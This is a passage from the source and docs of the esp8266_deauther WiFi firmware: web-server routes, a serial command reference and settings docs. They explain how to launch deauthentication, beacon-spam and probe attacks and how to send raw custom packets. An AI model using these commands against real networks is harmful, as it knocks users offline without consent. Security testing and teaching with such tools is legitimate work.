sizeof(delang), W_JSON);\n            });\n            server.on(\"/lang/it.lang\", HTTP_GET, []() {\n                sendProgmem(itlang, sizeof(itlang), W_JSON);\n            });\n            server.on(\"/lang/en.lang\", HTTP_GET, []() {\n                sendProgmem(enlang, sizeof(enlang), W_JSON);\n            });\n            server.on(\"/lang/fr.lang\", HTTP_GET, []() {\n                sendProgmem(frlang, sizeof(frlang), W_JSON);\n            });\n            server.on(\"/lang/in.lang\", HTTP_GET, []() {\n                sendProgmem(inlang, sizeof(inlang), W_JSON);\n            });\n            server.on(\"/lang/ko.lang\", HTTP_GET, []() {\n                sendProgmem(kolang, sizeof(kolang), W_JSON);\n            });\n            server.on(\"/lang/ro.lang\", HTTP_GET, []() {\n                sendProgmem(rolang, sizeof(rolang), W_JSON);\n            });\n            server.on(\"/lang/da.lang\", HTTP_GET, []() {\n                sendProgmem(dalang, sizeof(dalang), W_JSON);\n            });\n            server.on(\"/lang/ptbr.lang\", HTTP_GET, []() {\n                sendProgmem(ptbrlang, sizeof(ptbrlang), W_JSON);\n            });\n            server.on(\"/lang/cs.lang\", HTTP_GET, []() {\n                sendProgmem(cslang, sizeof(cslang), W_JSON);\n            });\n            server.on(\"/lang/tlh.lang\", HTTP_GET, []() {\n                sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);\n            });\n            server.on(\"/lang/es.lang\", HTTP_GET, []() {\n                sendProgmem(eslang, sizeof(eslang), W_JSON);\n            });\n            server.on(\"/lang/th.lang\", HTTP_GET, []() {\n                sendProgmem(thlang, sizeof(thlang), W_JSON);\n            });\n        }\n        server.on(\"/lang/default.lang\", HTTP_GET, []() {\n            if (!settings::getWebSettings().use_spiffs) {\n                if (String(settings::getWebSettings().lang) == \"hu\") sendProgmem(hulang, sizeof(hulang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"ja\") sendProgmem(jalang, sizeof(jalang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"nl\") sendProgmem(nllang, sizeof(nllang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"fi\") sendProgmem(filang, sizeof(filang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"cn\") sendProgmem(cnlang, sizeof(cnlang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"ru\") sendProgmem(rulang, sizeof(rulang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"pl\") sendProgmem(pllang, sizeof(pllang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"uk\") sendProgmem(uklang, sizeof(uklang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"de\") sendProgmem(delang, sizeof(delang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"it\") sendProgmem(itlang, sizeof(itlang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"en\") sendProgmem(enlang, sizeof(enlang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"fr\") sendProgmem(frlang, sizeof(frlang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"in\") sendProgmem(inlang, sizeof(inlang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"ko\") sendProgmem(kolang, sizeof(kolang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"ro\") sendProgmem(rolang, sizeof(rolang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"da\") sendProgmem(dalang, sizeof(dalang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"ptbr\") sendProgmem(ptbrlang, sizeof(ptbrlang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"cs\") sendProgmem(cslang, sizeof(cslang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"tlh\") sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"es\") sendProgmem(eslang, sizeof(eslang), W_JSON);\n                else if (String(settings::getWebSettings().lang) == \"th\") sendProgmem(thlang, sizeof(thlang), W_JSON);\n\n                else handleFileRead(\"/web/lang/\"+String(settings::getWebSettings().lang)+\".lang\");\n            } else {\n                handleFileRead(\"/web/lang/\"+String(settings::getWebSettings().lang)+\".lang\");\n            }\n        });\n        // ================================================================\n        #endif /* ifdef USE_PROGMEM_WEB_FILES */\n\n        server.on(\"/run\", HTTP_GET, []() {\n            server.send(200, str(W_TXT), str(W_OK).c_str());\n            String input = server.arg(\"cmd\");\n            cli.exec(input);\n        });\n\n        server.on(\"/attack.json\", HTTP_GET, []() {\n            server.send(200, str(W_JSON), attack.getStatusJSON());\n        });\n\n        // called when the url is not defined here\n        // use it to load content from SPIFFS\n        server.onNotFound([]() {\n            if (!handleFileRead(server.uri())) {\n                if (settings::getWebSettings().captive_portal) sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);\n                else server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));\n            }\n        });\n\n        server.begin();\n        mode = wifi_mode_t::ap;\n\n        prntln(W_STARTED_AP);\n        printStatus();\n    }\n\n    void stopAP() {\n        if (mode == wifi_mode_t::ap) {\n            wifi_promiscuous_enable(0);\n            WiFi.persistent(false);\n            WiFi.disconnect(true);\n            wifi_set_opmode(STATION_MODE);\n            prntln(W_STOPPED_AP);\n            mode = wifi_mode_t::st;\n        }\n    }\n\n    void resumeAP() {\n        if (mode != wifi_mode_t::ap) {\n            mode = wifi_mode_t::ap;\n            wifi_promiscuous_enable(0);\n            WiFi.softAPConfig(ip, ip, netmask);\n            WiFi.softAP(ap_settings.ssid, ap_settings.password, ap_settings.channel, ap_settings.hidden);\n            prntln(W_STARTED_AP);\n        }\n    }\n\n    void update() {\n        if ((mode != wifi_mode_t::off) && !scan.isScanning()) {\n            server.handleClient();\n            dns.processNextRequest();\n        }\n    }\n}"
  },
  {
    "path": "esp8266_deauther/wifi.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include <Arduino.h>\n\nnamespace wifi {\n    void begin();\n\n    String getMode();\n    void printStatus();\n\n    void startNewAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);\n    // void startAP(String path);\n    void startAP();\n\n    void stopAP();\n    void resumeAP();\n\n    void update();\n}"
  },
  {
    "path": "serialcommands.md",
    "content": "# Serial Commands\n\n**Overview:**  \n- [`help`](#help)\n- [`scan [<all/aps/stations>] [-t <time>] [-c <continue-time>] [-ch <channel>]`](#scan)\n- [`show [selected] [<all/aps/stations/names/ssids>]`](#show)\n- [`select [<all/aps/stations/names>] [<id>]`](#select-deselect)\n- [`deselect [<all/aps/stations/names>] [<id>]`](#select-deselect)\n- [`add ssid <ssid> [-wpa2] [-cl <clones>] [-f]`](#add-ssid)\n- [`add ssid -ap <id> [-cl <clones>] [-f]`](#add-ssid)\n- [`add name <name> [-ap <id>] [-s] [-f]`](#add-name)\n- [`add name <name> [-st <id>] [-s] [-f]`](#add-name)\n- [`add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s] [-f]`](#add-name)\n- [`replace name <id> [-n <name>] [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]`](#replace-name)\n- [`set name <id> <newname>`](#set-name)\n- [`enable random <interval>`](#random)\n- [`disable random`](#random)\n- [`load [<all/ssids/names/settings>] [<file>]`](#load-save)\n- [`save [<all/ssids/names/settings>] [<file>]`](#load-save)\n- [`remove <ap/station/name/ssid> <id>` ](#remove)\n- [`remove <ap/station/names/ssids> [all]` ](#remove)\n- [`attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t <timeout>]`](#attack)\n- [`attack status [<on/off>]`](#attack-status)\n- [`sysinfo`](#sysinfo)\n- [`clear`](#clear)\n- [`format`](#format)\n- [`print <file> [<lines>]`](#print)\n- [`delete <file> [<lineFrom>] [<lineTo>]`](#delete)\n- [`replace <file> <line> <new-content>`](#replace)\n- [`copy <file> <newfile>`](#copy)\n- [`rename <file> <newfile>`](#rename)\n- [`get <setting>`](#get)\n- [`set <setting> <value>`](#set)\n- [`reset`](#reset)\n- [`stop <all/scan/attack>`](#stop)\n- [`chicken`](#chicken)\n- [`reboot`](#reboot)\n- [`run <file>`](#run)\n- [`write <file> <commands>`](#write)\n- [`info`](#info)\n- [`// <comments>`](#comment)\n- [`send deauth <apMac> <stMac> <rason> <channel>`](#send)\n- [`send beacon <mac> <ssid> <ch> [wpa2]`](#send)\n- [`send probe <mac> <ssid> <ch>`](#send)\n- [`led <r> <g> <b> [<brightness>]`](#led)\n- [`led <#rrggbb> [<brightness>]`](#led)\n- [`draw`](#draw)\n- [`startap`](#startap)\n- [`stopap`](#startap)\n- [`screen mode <menu/packetmonitor/buttontest/loading>`](#screen)\n## Video Overview\n\n[![@PwnKitteh made this video about deauther 2.0 serial commands. ](https://img.youtube.com/vi/wJu7lgqelZM/0.jpg)](https://www.youtube.com/watch?v=wJu7lgqelZM)\n\n\n## HELP\n`help`  \nPrints out list with all commands.  \n\n## SCAN  \n`scan [<all/aps/stations/wifi>] [-t <time>] [-c <continue-time>] [-ch <channel>]`  \n**Starts scan with given parameters.**  \n**Modes** (optional, default = all): \n  - all (-a)  \n  - aps (-ap)  \n  - stations (-st)  \n  - wifi (-w)  \n**Mode must be the first parameter!**\n**time** [-t] (optional, default = 15s): How long it should scan for stations (client devices) in seconds.  \n**continue** [-c] (optional): How many seconds until it should scan again.  \n**channel** [-ch] (optional): Only scan on a specific channel, instead of going through them all automatically.  \nTo scan indefinitely set the time to 0, i.e. `scan stations -t 0`.  \nThe difference between mode `stations` and mode `wifi` is that `stations` will only scan on channels that are used by at least one access point.  \nThe `wifi` scan mode also doesn't require an access point scan first and is recommended for using the deauth detection and packet monitor feature.  \n\n## SHOW\n`show [<all/aps/stations/names/ssids>]`  \n`show selected [<all/aps/stations/names/ssids>]`  \nPrints out the scan results (access points and stations), the saved device names and the saved ssids.  \n**Selected** (optional, default = false): Only the selected targets are printed out.  \n**Types** (optional, default = all):  \n  - all (-a)  \n  - aps (-ap)  \n  - stations (-st)  \n  - names (-b)  \n  - ssids (-ss)  \n  \n## SELECT-DESELECT\n`select [<all/aps/stations/names>] [<id>]`  \n`deselect [<all/aps/stations/names>] [<id>]`  \n(De)Selects a specific or all access points, stations and device names.  \n**Types** (optional, default = all):\n  - all (-a)  \n  - aps (-ap)  \n  - stations (-st)  \n  - names (-b)  \n  \n**ID** (optional): ID of the AP/station/device you want to select.  \n\n## ADD-SSID\n`add ssid <ssid> [-wpa2] [-cl <clones>] [-f]`  \nAdds SSID with given parameters to list.  \n**ssid**: The SSID you want to add to the list.  \n**-wpa2** (optional, default = false): If the SSID you add should be an open or WPA2 encrypted network.  \n**clones** [-cl] (optional, default = 0): How many SSIDs you want to add with that name.  \n**force** [-f] (optional, default = false): Forces adding of ssid, even if list is full.  \n\n`add ssid -ap <id> [-cl <clones>] [-f]`  \nCopies SSID from scanned access point and adds it to the list.  \n**clones** [-cl] (optional, default = 0): How many SSIDs you want to add with that name.  \n**force** [-f] (optional, default = false): Forces adding of ssid, even if list is full.  \n\n`add ssid -s [-f]`  \nCopies SSIDs from selected access points into list.  \n**force** [-f] (optional, default = false): Forces adding of ssid, overwrites old SSIDs.  \n\n## ADD-NAME\n`add name <name> -ap <id> [-s] [-f]`  \n`add name <name> -st <id> [-s] [-f]`  \n`add name <name> -m <mac> [-ch <channel>] [-b <bssid>] [-s] [-f]`  \nSaves device with given name and parameters.  \n**name** [-n]: Name you want to give the device (max.16 characters!).  \n**ap** [-ap]: Access point you want to save.  \n**station** [-st]: Station you want to save.  \n**mac** [-m]: MAC address of the device.  \n**channel** [-ch] (optional, default = current channel): Channel the device is on.  \n**bssid** [-b] (optional, default = NULL): The MAC address of the access point its connected to.  \n**select** [-s] (optional, default = false): Select the device after adding it.  \n**force** [-f] (optional, default = false): Forces adding name, even if list is full.  \n\n## REPLACE NAME\n`replace name <id> [-n <name>] [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]`  \nRemoves name with given ID and creates a new one with the given parameters.  \n\n## SET-NAME\n`set name <id> <newname>`  \nChanges the name of a saved device.  \n**id**: ID of the saved name you want to change.  \n**newname**: New name you want to give that device.  \n\n## RANDOM\n`enable random <interval>`  \nEnables SSID random mode with given interval in seconds.  \n\n`disable random`\nDisables SSID random mode.  \n\n## LOAD-SAVE\n`load [<all/ssids/names/settings>] [<file>]`  \n`save [<all/ssids/names/settings>] [<file>]`  \nLoads/saves the ssid list, device name list and settings.  \n**Types** (optional, default = all):\n  - all (-a)\n  - ssids (-ss)\n  - names (-n)\n  - settings\n**File** (optional): Where to load/save the file. It will use the default file name when the parameter isn't set.  \n\n## REMOVE\n`remove <ap/station/name/ssid> <id>`  \nRemoves specific ssid or name from the list.  \n**Types**:\n  - ap (-ap) \n  - station (-st) \n  - name (-n)  \n  - ssid (-ss) \n\n`remove <ap/station/names/ssids>`  \n`remove <ap/station/names/ssids> [all]`  \nRemoves everything from the selected list.  \n**all** [-a] (optional, default = true): Remove all.\n\n## ATTACK\n`attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t <timeout>]`  \nStarts attack with given parameters (1 or more is required):  \n- **beacon** [-b] (optional, default = false)\n- **deauth** [-d] (optional, default = false)\n- **deauthall** [-da] (optional, default = false)\n- **probe** [-p] (optional, default = false)\n- **nooutput** [-no] (optional, default = false): Will stop printing out the packets per second.\n- **timeout** [-t] (optional, default = settings.attackTime): Will change the attack timeout time in the settings.  \n\n**PLEASE NOTE** that *deauthall* will deactivate *deauth* and vice versa.  \nYou can only run one at a time!  \n\n## ATTACK STATUS\n`attack status [<on/off>]`  \nEnables or disables printing the attack status (pkts/s) every second (only when an attack is running).  \n\n## SYSINFO\n`sysinfo`  \nPrints out RAM usage, current WiFi channel, the MAC addresses, SPIFFS (SPI-Flash-File-System usage and files.  \n\n## CLEAR\n`clear`  \nClears the serial console.  \n\n## FORMAT\n`format`  \nDeletes all files in the SPIFFS (SPI-Flash-File-System).  \n\n## PRINT\n`print <file> [lines]`  \n**lines** [-l] (optional, default = false): Show line numbers.   \nPrints out file from SPIFFS (SPI-Flash-File-System) to the serial console.  \n\n## DELETE\n`delete <file>`  \nDeletes file from the SPIFFS (SPI-Flash-File-System).  \n`delete <file> <lineFrom>`  \nRemoves a specific line from a file.  \n`delete <file> <lineFrom> <lineTo>`  \nRemoves specific lines from a file.  \n**The first line number is 0!**  \n\n## REPLACE\n`replace <file> <line> <new-content>`  \nReplaces specific line of file with given content.  \n\n## COPY\n`copy <file> <newfile>`  \nMakes a copy of a file in the SPIFFS.  \n\n## RENAME\n`rename <file> <newfile>`  \nRenames a file in the SPIFFS.  \n\n## GET\n`get <setting>`  \nPrints out the value of the setting.  \n\n## SET\n`set <setting> <value>`  \nChanges the value of the setting.  \n\n## RESET\n`reset`  \nResets the settings.  \n\n## STOP\n`stop [<all/scan/attack/script>]`  \nStops ongoing tasks.  \n**Modes** (optional, default = all):\n  - all (-a)\n  - scan (-sc)\n  - attack (-a)\n  - script\n\n## CHICKEN\n`chicken`  \nPrints out a HUGE spacechick.  \n\n## REBOOT\n`reboot`  \nPerforms a hard reset (just like connecting the RST pin to GND).  \n\n## RUN\n`run <file> [-c <continue-time>]`  \nExecutes script with given filepath.  \n**continue** [-c] (optional, min=1s, default time is 10s): How many seconds until it should run the script again.  \nPlease don't use this command within a script! It won't work but it might lead to errors or unexpected behaviour.  \n\n## WRITE\n`write <file> <commands>`  \nWrites (appends) a command to the given file and saves it.  \n**Please note** that this command has, like all commands, a limit of 512 characters and therefor shouldn't be used \nto write extensive files. There is a better way to upload files to the SPIFFS explained in the tutorials.md file.  \n\n## INFO\n`info`  \nShows version number, copyright info, and link to GitHub.  \n\n## COMMENT\n`// <comments>`  \nCommands that begin with `#` will be printed out as they are and not be tried to execute.  \nThere **must** be a space between the hash sign and the comments.  \nThe hash sign also **has** to be at the beginning of the command!  \n\n## SEND\n`send deauth <AP-MAC> <ST-MAC> <reason> <channel>`  \n`send beacon <mac> <ssid> <ch> [wpa2]`  \n`send probe <mac> <ssid> <ch>`  \nSends single packet out with giving parameters.  \n\nYou can also sent out custom packets with: `send packet <packet>`  \nThe packet must be a hexadecimal string devided by `:` and with a leading zero.  \nIt's only recommended to use this feature if you have experience on how the ESP8266 handles sending custom defined packets.  \nCopy pasting packets out of Wireshark is very unlikely to work.  \nAlso note that you're still limited to 512 characters per command!  \n\n## LED\n`led <r> <g> <b>`  \nChanges LED color based on input.  \nBe sure to disable the LED updates (see command below), if you don't want the color the be rewritten by a scan or attack.   \n\n`led <#rrggbb>`  \nChanges LED color based on input in form of a hex value.  \nThe value **must** start with a `#` and have 6 following characters.  \n\n## DELAY\n`delay <time>`  \nWill pause the serial command interface for a given time.  \n`delay 1000` will wait one second.  \nBut you can also specify the delay time in seconds directly:  \n`delay 1s`.  \n\n## DRAW\n`draw [<height>] [<width>]`  \nDraws packet monitor graph.  \nWill only work if you run a wifi scan first, i.e. `scan wifi -t 65s -ch 1`.  \n- **height** (optional, default = 25): Height of the graph in characters.  \n- **width** (optional, default = 2): Width in characters per bar in graph.  \n\n## STARTAP\n`startap [-p <path][-s <ssid>] [-pswd <password>] [-ch <channel>] [-h] [-cp]`  \nStarts access point.  \n- **path** [-p] (optional, default = \"/web\"): Path to web files.  \n- **ssid** [-s] (optional, default = [settings ssid](https://github.com/spacehuhn/esp8266_deauther/blob/master/settings.md#ssid)): Network name.  \n- **password** [-pswd] (optional, default = [settings password](https://github.com/spacehuhn/esp8266_deauther/blob/master/settings.md#password)): Password.  \n- **channel** [-ch] (optional, default = [settings channel](https://github.com/spacehuhn/esp8266_deauther/blob/master/settings.md#channel)): Channel .  \n- **hidden** [-h] (optional, default = [settings hidden](https://github.com/spacehuhn/esp8266_deauther/blob/master/settings.md#hidden)): Hide SSID.  \n- **captiveportal** [-cp] (optional, default = [settings captiveportal](https://github.com/spacehuhn/esp8266_deauther/blob/master/settings.md#captiveportal)): Enable captiveportal.  \n\n`stopap`  \nStops access point.  \n\n\n## SCREEN\n`screen <on/off>`  \nTurns display on or off. To reactivate the display press the A (select) button.  \n\n`screen mode <menu/packetmonitor/buttontest/loading>`  \nChanges display mode.  \n- **menu**: default mode when using the display interface\n- **packetmonitor**: draws packet graph (will only work when you're scanning at the same time)\n- **buttontest**: special mode for testing the buttons\n- **loading**: loading screen that is normally used when starting a scan over the display menu\n"
  },
  {
    "path": "settings.md",
    "content": "# Settings\r\n\r\n**Overview**\r\n  - [`version`](#version)\r\n  - [`ssid`](#ssid)\r\n  - [`password`](#password)\r\n  - [`channel`](#channel)\r\n  - [`hidden`](#hidden)\r\n  - [`captivePortal`](#captiveportal)\r\n  - [`lang`](#lang)\r\n  - [`autosave`](#autosave)\r\n  - [`autosaveTime`](#autosave-time)\r\n  - [`displayInterface`](#display-interface)\r\n  - [`displayTimeout`](#displaytimeout)\r\n  - [`serialInterface`](#serial-interface)\r\n  - [`serialEcho`](#serial-echo)\r\n  - [`webInterface`](#web-interface)\r\n  - [`webSpiffs`](#web-spiffs)\r\n  - [`ledEnabled`](#ledEnabled)\r\n  - [`maxCh`](#max-ch)\r\n  - [`macAP`](#macap)\r\n  - [`macSt`](#macst)\r\n  - [`chTime`](#ch-time)\r\n  - [`minDeauths`](#mindeauths)\r\n  - [`attackTimeout`](#attacktimeout)\r\n  - [`deauthsPerTarget`](#deauths-per-target)\r\n  - [`deauthReason`](#deauth-reason)\r\n  - [`beaconChannel`](#beacon-channel)\r\n  - [`beaconInterval`](#beacon-interval)\r\n  - [`randomTx`](#randomtx)\r\n  - [`probesPerSSID`](#probesperssid)\r\n  \r\n## VERSION\r\n`String version = VERSION;`  \r\nVersion number, i.e. `v2.0`.  \r\n**PLEASE NOTE** that this setting can only be changed in the source code.  \r\n\r\n## SSID\r\n`String ssid = \"pwned\";`  \r\nSSID of access point used for the web interface (if enabled).  \r\nThe length must be between 1 and 31 characters.  \r\n\r\n## PASSWORD\r\n`String password = \"deauther\";`  \r\nPassword of access point used for the web interface (if enabled).  \r\nThe length must be between 8 and 31 characters.  \r\n\r\n## CHANNEL\r\n`uint8_t channel = 1;`  \r\nDefault WiFi channel that is used when starting.  \r\n\r\n## HIDDEN\r\n`bool hidden = false`  \r\nHides the access point that is used for the web interface (if enabled).   \r\n\r\n## CAPTIVEPORTAL\r\n`bool captivePortal = true;`  \r\nEnables captive portal for access point (if enabled).  \r\n\r\n## LANG\r\n`String lang = \"en\";`  \r\nDefault language for the web interface.  \r\nBe sure the language file exists!  \r\n\r\n## AUTOSAVE\r\n`bool autosave = true;`  \r\nEnables automatic saving of SSIDs, device names and settings.  \r\n\r\n## AUTOSAVE-TIME\r\n`uint32_t autosaveTime = 30000;`  \r\nTime interval for automatic saving in milliseconds.  \r\n\r\n## DISPLAY-INTERFACE\r\n`bool displayInterface = false;`  \r\nEnables display interface.  \r\n\r\n## DISPLAYTIMEOUT\r\n`uint32_t displayTimeout = 600`  \r\nTime in seconds after which the display turns off when inactive.  \r\nTo disable the display timeout, set it to 0.  \r\n\r\n## SERIAL-INTERFACE\r\n`bool serialInterface = true;`  \r\nEnables serial interface.  \r\n\r\n## SERIAL-ECHO\r\n`bool serialEcho = true`  \r\nEnables echo for each incoming message over serial.  \r\n\r\n## WEB-INTERFACE\r\n`bool webInterface = false;`  \r\nEnables web interface.  \r\n\r\n## WEB-SPIFFS\r\n`bool webSpiffs = false`  \r\nEnables SPIFFS for all web files.  \r\nCan lead to longer loading times but it nice if you need to edit the web files regularly.  \r\n\r\n## LEDENABLED\r\n`bool ledEnabled = true`  \r\nEnables the (RGB) LED feature.  \r\n\r\n## MAX-CH\r\n`uint8_t maxCh = 13;`  \r\nMax channel to scan on.  \r\nUS = 11, EU = 13, Japan = 14.  \r\nFor more information click [here](https://en.wikipedia.org/wiki/List_of_WLAN_channels).  \r\n\r\n## MACAP\r\n`uint8_t* macAP;`  \r\nMac address used for the access point mode.  \r\nPlease note that the mac address will only replace the internal mac address when the accesspoint mode is enabled.  \r\nYou can set a random mac address with `set macap random`.  \r\n\r\n## MACST\r\n`uint8_t* macSt;`  \r\nMac address used for the station mode.  \r\nPlease note that the mac address will only replace the internal mac address when the station mode is enabled.  \r\nYou can set a random mac address with `set macst random`.  \r\n\r\n## CH-TIME\r\n`uint16_t chTime = 384;`  \r\nTime for scanning one channel before going to the next in milliseconds (only if channel hopping is enabled).  \r\n\r\n## MINDEAUTHS\r\n`uint16_t minDeauths = 3`  \r\nMinimum number of deauthentication frames when scanning to change the LED to deauth mode.  \r\n\r\n## ATTACKTIMEOUT\r\n`uint32_t attackTimeout = 600`  \r\nAfter what amount of time (in seconds) the attack will stop automatically.  \r\nSet it to 0 to disable it.  \r\n\r\n## DEAUTHS-PER-TARGET\r\n`uint16_t deauthsPerTarget = 10;`  \r\nHow many deauthentication and disassociation frames are sent out for each target.  \r\n\r\n## DEAUTH-REASON\r\n`uint8_t deauthReason = 1;`  \r\nThe [reason code](https://www.cisco.com/assets/sol/sb/WAP371_Emulators/WAP371_Emulator_v1-0-1-5/help/Apx_ReasonCodes2.html) that is sent with the deauth frames to tell the target device why the connection will be closed.  \r\n\r\n## BEACON-CHANNEL\r\n`bool beaconChannel = false;`  \r\nIf enabled, will sent all beacon and probe frames on different channels when running a beacon attack.  \r\n\r\n## BEACON-INTERVAL\r\n`bool beaconInterval = false;`  \r\nIf set true, beacons will be sent out every second. If set to false, the interval will be 100ms. \r\nA longer interval means more stability and less spamming of packets, but it could take longer \r\nuntil the clients find the ssids when scanning.  \r\n\r\n## RANDOMTX\r\n`bool randomTX = false`  \r\nEnables randomized transmission power for sending out beacon and probe request frames.  \r\n\r\n## PROBESPERSSID\r\n`uint8_t probesPerSSID = 1`  \r\nHow many probe request frames are sent for each SSID.     \r\n"
  },
  {
    "path": "utils/arduino-cli-compile.py",
    "content": "#!/usr/bin/env python3\n\n# inside esp8266_deauther/esp8266_deauther\n# call this script\n# python3 ../utils/arduino-cli-compile.py 2.5.0\n\nimport subprocess\nimport os\nimport sys\n\nboards = [\n    \"NODEMCU\",\n    \"WEMOS_D1_MINI\",\n    \"HACKHELD_VEGA\",\n    \"MALTRONICS\",\n    \"DISPLAY_EXAMPLE_I2C\",\n    \"DISPLAY_EXAMPLE_SPI\",\n    \"DSTIKE_DEAUTHER_V1\",\n    \"DSTIKE_DEAUTHER_V2\",\n    \"DSTIKE_DEAUTHER_V3\",\n    \"DSTIKE_DEAUTHER_V3_5\",\n    \"DSTIKE_D_DUINO_B_V5_LED_RING\",\n    \"DSTIKE_DEAUTHER_BOY\",\n    \"DSTIKE_NODEMCU_07\",\n    \"DSTIKE_NODEMCU_07_V2\",\n    \"DSTIKE_DEAUTHER_OLED\",\n    \"DSTIKE_DEAUTHER_OLED_V1_5_S\",\n    \"DSTIKE_DEAUTHER_OLED_V1_5\",\n    \"DSTIKE_DEAUTHER_OLED_V2\",\n    \"DSTIKE_DEAUTHER_OLED_V2_5\",\n    \"DSTIKE_DEAUTHER_OLED_V3\",\n    \"DSTIKE_DEAUTHER_OLED_V3_5\",\n    \"DSTIKE_DEAUTHER_OLED_V4\",\n    \"DSTIKE_DEAUTHER_OLED_V5\",\n    \"DSTIKE_DEAUTHER_OLED_V6\",\n    \"DSTIKE_DEAUTHER_MOSTER\",\n    \"DSTIKE_DEAUTHER_MOSTER_V2\",\n    \"DSTIKE_DEAUTHER_MOSTER_V3\",\n    \"DSTIKE_DEAUTHER_MOSTER_V4\",\n    \"DSTIKE_DEAUTHER_MOSTER_V5\",\n    \"DSTIKE_USB_DEAUTHER\",\n    \"DSTIKE_USB_DEAUTHER_V2\",\n    \"DSTIKE_DEAUTHER_WATCH\",\n    \"DSTIKE_DEAUTHER_WATCH_V2\",\n    \"DSTIKE_DEAUTHER_MINI\",\n    \"DSTIKE_DEAUTHER_MINI_EVO\",\n    \"LYASI_7W_E27_LAMP\",\n    \"AVATAR_5W_E14_LAMP\",\n]\n\nversion = sys.argv[1]\n\nfolder = f\"../build_{version}\"\nos.system(f\"mkdir {folder}\")\n\nfor board in boards:\n    print(f\"Compiling {board}...\", flush=True)\n\n    if os.path.exists(f\"{folder}/esp8266_deauther_{version}_{board}.bin\"):\n        print(\"Already compiled\")\n        continue\n\n    os.system(f\"arduino-cli cache clean\")\n    command = f\"arduino-cli compile --fqbn deauther:esp8266:generic --build-property \\\"build.extra_flags=-DESP8266 -D{board}\\\" --output-dir {folder}\"\n    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\n    process.wait()\n    os.system(\n        f\"mv {folder}/esp8266_deauther.ino.bin {folder}/esp8266_deauther_{version}_{board}.bin\")\n    print(f\"OK\")\n\nos.system(f\"rm {folder}/esp8266_deauther.ino.elf\")\nos.system(f\"rm {folder}/esp8266_deauther.ino.map\")\n\nprint(\"Finished :)\")\n"
  },
  {
    "path": "utils/old_web_converter/convert_all.sh",
    "content": "#!/bin/bash\n\n#\n# This script walks through the html folder and minify all JS, HTML and CSS files. It also generates\n# the corresponding constants that is added to the data.h file on esp8266_deauther folder.\n#\n# @Author Erick B. Tedeschi < erickbt86 [at] gmail [dot] com >\n#\n\noutputfile=\"$(pwd)/data_h_temp\"\n\nrm $outputfile\n\nfunction minify_html_css {\n    file=$1\n    curl -X POST -s --data-urlencode \"input@$file\" http://html-minifier.com/raw > /tmp/converter.temp\n}\n\nfunction minify_js {\n    file=$1\n    curl -X POST -s --data-urlencode \"input@$file\" https://javascript-minifier.com/raw > /tmp/converter.temp\n}\n\nfunction ascii2hexCstyle {\n    file_name=$(constFileName $1)\n    result=$(cat /tmp/converter.temp | hexdump -ve '1/1 \"0x%.2x,\"')\n    result=$(echo $result | sed 's/,$//')\n    echo \"const char data_${file_name}[] PROGMEM = {$result};\"\n}\n\nfunction constFileName {\n   extension=$(echo $1 | egrep -io \"(css|js|html)$\" | tr \"[:lower:]\" \"[:upper:]\")\n   file=$(echo $1 | sed 's/\\.css//' | sed 's/\\.html//' | sed 's/\\.js//' | sed 's/\\.\\///' | tr '/' '_' | tr '.' '_')\n   echo $file$extension\n}\n\n\ncd html\nfile_list=$(find . -type f)\n\nfor file in $file_list; do\n  echo \"Processing: $file\"\n  if [[ \"$file\" == *.js ]]; then\n    echo \"-> JS minifier\"\n    minify_js $file\n    ascii2hexCstyle $file >> $outputfile\n  elif [[ \"$file\" == *.html ]] || [[ \"$file\" == *.css ]]; then\n    echo \"-> HTML and CSS minifier\"\n    minify_html_css $file\n    ascii2hexCstyle $file >> $outputfile\n  else\n    echo \"-> without minifier\"\n    cat $file > /tmp/converter.temp\n    ascii2hexCstyle $file >> $outputfile\n  fi\n  sleep 1\ndone\n"
  },
  {
    "path": "utils/old_web_converter/converter.html",
